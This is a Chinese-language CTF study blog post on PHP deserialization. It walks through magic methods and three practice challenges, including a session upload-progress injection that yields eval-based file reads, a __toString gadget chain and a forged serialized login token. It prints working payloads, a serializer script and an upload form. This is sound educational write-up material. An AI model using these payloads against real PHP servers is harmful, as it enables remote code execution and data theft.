CTF中反序列化问题还是经常出现的,于是有了这篇博客,简单的学习一下反序列化的一些问题
基础知识
参考博客
https://comicalt.github.io/2018/08/21/serialize/#more
https://bbs.ichunqiu.com/thread-45290-1-1.html //这里面举了一题,充分讲解了各个魔术方法的调用时刻
PHP序列化漏洞常用的魔术方法:
__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
JarvisOJ
jarvisoj:http://web.jarvisoj.com:32784/
参考writeup
https://otakekumi.github.io/2017/03/05/jarvis-oj-phpinfo/
https://www.scanfsec.com/jarvisoj_web_writeup.html
https://cloud.tencent.com/developer/article/1038017
参考了三个题解才大概理解了这题,主要是大佬懂得太多,写题解的时候就比较洁简
总结一下唉
点开题目就可以得到源码
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
看到第一行 session.serialize_handler 就知道这题是反序列化题目.
根据第二个参数会使用不同的序列化引擎,大致有这么几种:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
题目上用的是php,默认的序列化引擎.
源码很清晰判断仅仅判断是否存在传入phpinfo这个参数,所以突破点应该不是在这.不过还是先构造phpinfo=1 使得调用phpinfo(),参看php各种参数信息
PS:由phpinfo获取有用信息的能力有待提高…
由于我们是要想办法给session写入构造好的恶意字符串在phpinfo里寻找到session配置一栏
session.upload_progress.enabled 发现开启了文件上传功能
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session
那么现在就有了往session写值的方法
打印出当前目录下的所有文件
‘print_r(scandir(dirname(__FILE__)));’
打印出指定文件的内容
‘print_r(file_get_contents(“/opt/lampp/htdocs/xxxxxxxx”));’
修改一下题目给的脚本生成对应的序列化后的字符串
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
//$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
$this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
function __destruct()
{
eval($this->mdzz);
}
}
$obj=new OowoO();
echo serialize($obj);
?>
构造上传文件的表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
抓包修改 PHP_SESSION_UPLOAD_PROGRESS 的值就好了
bugku上的一题
由源码可知,利用文件包含读取hint.php源码,
hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
再读取index.php的源码
index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
分析可得只要把将flag.php作为字符串使用就会输出flag.php里的内容,有index.php里的源码可以注意到password进行反序列化,并且有echo,这时便调用了_tostring()这个魔术方法,所以只要将FLAG.class序列化后的值赋给password,便可以得到flag
ichunqiu 百度杯十月第一周 login
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(â¯âµâ¡â²)â¯ï¸µâ´ââ´ ";
}
}else{
header('Location: index.php?error=1');
}
?> -->(â¯âµâ¡â²)â¯ï¸µâ´ââ´
前面省略一些骚操作后可以得到源码,这题是将发送到服务器的值反序列化后得到一个数组,当这个数组里user的值等于ichunqiu时输出flag
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
其实就是将这句逆向一下再赋值给cookie的token传入服务器就ok了
payload:
<?php
$request = array_merge($_GET,$_POST,$_COOKIE);
$arr = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($arr)));
$login = unserialize(gzuncompress(base64_decode($a)));
echo $a;
echo '##'+$login;
?>